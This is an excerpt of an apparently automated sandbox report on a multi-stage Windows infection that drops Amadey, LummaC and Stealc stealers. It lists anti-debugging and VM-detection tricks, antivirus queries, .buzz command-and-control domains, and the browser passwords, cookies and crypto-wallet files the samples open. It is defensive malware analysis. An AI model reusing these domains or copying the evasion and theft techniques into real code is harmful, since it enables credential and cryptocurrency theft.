File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: skotes.exe, skotes.exe, 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmp, 0fd4b3a5d7.exe, 00000009.00000000.2566984899.00000000005CB000.00000080.00000001.01000000.0000000C.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2578298011.0000000004D97000.00000004.00000800.00020000.00000000.sdmp, LEDU23VRAEI6A5X1LTGJU.exe.0.dr, random[1].exe.7.dr, 0fd4b3a5d7.exe.7.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: LIWYEYWSOj.exe, 00000000.00000003.1836283575.0000000001433000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FXgMYQXgPM9FTJulCw6dEu3cPcTjXHgFSeY0ogxx
Source: ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe, 00000005.00000003.2129898565.0000000000A66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: LIWYEYWSOj.exe, LIWYEYWSOj.exe, 00000000.00000003.1836308583.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1748702745.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1929521842.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.2002916300.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1879484490.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.2940709036.000000000117B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.2940709036.0000000001136000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2731276729.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2800691430.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: LIWYEYWSOj.exe, 00000000.00000003.1748702745.000000000142B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 3+U0YKRfgnpR83dRImUC1gIdQkw1dAtYQQE5cS7dxM9OlVeDZF/D+eSyV7Xg15BD80xx71bXiOqxkKmXTF4xPy5EFWH1fgIK9cbzZaWDY4LSbDF+E3f4akGQiUZuC+QOuzCgUnVPg7qB0iYF4VYhAgHd8A909Mp+hTQ5dmh6NOs/dDBVwWuG72T3YmBwcgGC0nkkijNT6Z6EVD1ijS8QP98EBXAkX8NuQiH0RFFXgMYQXgPM9FTJulCw6dEu3cPcTjXHgFSeY0ogxxbEdIYwViJdgV/3Vl2aIeCJsxxOgY4PkATkQIqjrjRBg2QglpESEw3xz1cHvLl1NDiWaHsCPh4VxOBUX8Pq4QMDtnCGMXYD3mIt07MMuuXVvCaJ/0EbOrAhdfE7li804+OExYeEE1Y5xQ4zsmy+8eEYMg3OYDtM1sZghdzDKyFWE4FRcuWVRxmlzwdnKP6CJN0T6fqEDQ4UBLD0fpI6gRLWcYO2IaSzbDGbE1Po3oRVPfZtvhQKujAB5RFb1l8QNvbxUOLlk/f5ICsSM+zKsPEZclyfNHzc1XRApL/TPjUmF5FUBXQSV91BCxNT7D5BUSnCqfz06z6xIdRGX4J60XIHVDE2MNfHz3Hfx+cIzqPA2cMdmwTrP1Eh1UCKoxslx5JgdDO1I6YYAPv2I+nehFUd9mzbBYs7RFVANW+CWuGCp4Ul9QPyEyygfhfD7F6BJDyR+fuEDMvRJdRB6qFrEOL31UG3gKYD3DXdJjaZuvXU3RIJ+oU72zVlREHrpn+ElyIQVKcU90ccRQqSkwy7pdW9FhyOEH4+FCSABN5DLkIh86Vg1/QSNx3VCpQj7D6CJN0T6fqEDQ4UBLD0fpI6gRLWcYO
Source: LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000000.2041542964.0000000000A4D000.00000080.00000001.01000000.00000006.sdmp, LEDU23VRAEI6A5X1LTGJU.exe.0.dr	Binary or memory string: q\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2095509889.0000000000A4D000.00000040.00000001.01000000.00000006.sdmp, ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe, 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.2186090487.0000000000E21000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmp, 0fd4b3a5d7.exe, 00000009.00000000.2566984899.00000000005CB000.00000080.00000001.01000000.0000000C.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2578298011.0000000004D97000.00000004.00000800.00020000.00000000.sdmp, random[1].exe.7.dr, 0fd4b3a5d7.exe.7.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node			graph_6-10660
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node			graph_6-10719

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe

Code function: 5_2_04A40AEC rdtsc

5_2_04A40AEC

Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Code function: 5_2_0028652B mov eax, dword ptr fs:[00000030h]	5_2_0028652B
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Code function: 5_2_0028A302 mov eax, dword ptr fs:[00000030h]	5_2_0028A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C6A302 mov eax, dword ptr fs:[00000030h]	6_2_00C6A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C6652B mov eax, dword ptr fs:[00000030h]	6_2_00C6652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C6A302 mov eax, dword ptr fs:[00000030h]	7_2_00C6A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00C6652B mov eax, dword ptr fs:[00000030h]	7_2_00C6652B

Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: LEDU23VRAEI6A5X1LTGJU.exe PID: 4928, type: MEMORYSTR

LummaC encrypted strings found

Source: LIWYEYWSOj.exe, 00000000.00000003.1700277854.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: LIWYEYWSOj.exe, 00000000.00000003.1700277854.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: LIWYEYWSOj.exe, 00000000.00000003.1700277854.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: LIWYEYWSOj.exe, 00000000.00000003.1700277854.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: LIWYEYWSOj.exe, 00000000.00000003.1700277854.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: LIWYEYWSOj.exe, 00000000.00000003.1700277854.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: LIWYEYWSOj.exe, 00000000.00000003.1700277854.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: LIWYEYWSOj.exe, 00000000.00000003.1700277854.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: LIWYEYWSOj.exe, 00000000.00000003.1700277854.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe "C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=0fd4b3a5d7.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior

Source: skotes.exe, skotes.exe, 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: mProgram Manager
Source: LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2095824178.0000000000A93000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: yProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 7_2_00C4DD91 cpuid

7_2_00C4DD91

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe

Code function: 5_2_0026CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

5_2_0026CBEA

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: LIWYEYWSOj.exe, LIWYEYWSOj.exe, 00000000.00000003.1861286188.0000000005A42000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1861286188.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2735515582.0000000000D39000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2735688920.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.skotes.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.skotes.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2185747252.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: LIWYEYWSOj.exe PID: 6968, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0fd4b3a5d7.exe PID: 1344, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2093689784.0000000000671000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2096558340.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LEDU23VRAEI6A5X1LTGJU.exe PID: 4928, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: LIWYEYWSOj.exe	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: LIWYEYWSOj.exe	String found in binary or memory: Wallets/ElectronCash
Source: LIWYEYWSOj.exe	String found in binary or memory: Wallets/JAXX New Version
Source: LIWYEYWSOj.exe	String found in binary or memory: window-state.json
Source: LIWYEYWSOj.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: LIWYEYWSOj.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: LIWYEYWSOj.exe	String found in binary or memory: Wallets/Ethereum
Source: LIWYEYWSOj.exe, 00000000.00000003.1836308583.0000000001416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 0fd4b3a5d7.exe, 00000009.00000003.2731276729.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet\[H
Source: LIWYEYWSOj.exe, 00000000.00000003.1836308583.0000000001416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
